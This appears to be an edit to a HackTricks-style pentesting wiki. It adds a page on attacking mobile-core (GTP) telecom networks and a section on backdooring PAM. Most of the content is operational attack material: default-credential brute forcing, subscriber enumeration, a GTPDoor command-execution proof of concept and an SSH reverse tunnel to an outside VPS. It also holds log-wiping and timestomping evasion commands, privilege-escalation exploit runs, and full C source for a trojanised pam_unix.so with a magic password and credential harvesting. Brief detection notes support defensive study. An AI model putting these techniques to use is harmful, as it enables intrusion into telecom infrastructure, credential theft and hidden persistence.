Add content from: The Covert Operator's Playbook: Infiltration of Global Telec...

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- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

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Bettercap broadcast WSD packets searching for services (UDP Port 3702).
### Telecom / Mobile-Core (GTP) Exploitation
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

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# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
### 1.2 Host Discovery inside GRX/IPX
Most GRX operators still allow **ICMP echo** across the backbone. Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerating Subscribers `cordscan`
The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscribers visited PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Key flags:
- `--imsi` Target subscriber IMSI
- `--oper` Home / HNI (MCC+MNC)
- `-w` Write raw packets to pcap
Important constants inside the binary can be patched to widen scans:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`. The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created.
Minimal PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* any host sending **unbalanced Echo Requests** to SGSN IPs
* GTP version flag set to 1 while message type = 1 (Echo) deviation from spec
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**. Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Check that `GatewayPorts yes` is enabled on the VPS.
## 5. Covert Channels
| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-domain |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilege Escalation on Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Clean-up tip:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
---
## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
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In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.
## Backdooring PAM Hooking `pam_unix.so`
A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass.
### Compilation Cheatsheet
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
Compile and stealth-replace:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tips
1. **Atomic overwrite** write to a temp file and `mv` into place to avoid half-written libraries that would lock out SSH.
2. Log file placement such as `/usr/bin/.dbus.log` blends with legitimate desktop artefacts.
3. Keep symbol exports identical (`pam_sm_setcred`, etc.) to avoid PAM mis-behaviour.
### Detection
* Compare MD5/SHA256 of `pam_unix.so` against distro package.
* Check for world-writable or unusual ownership under `/lib/security/`.
* `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### References
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
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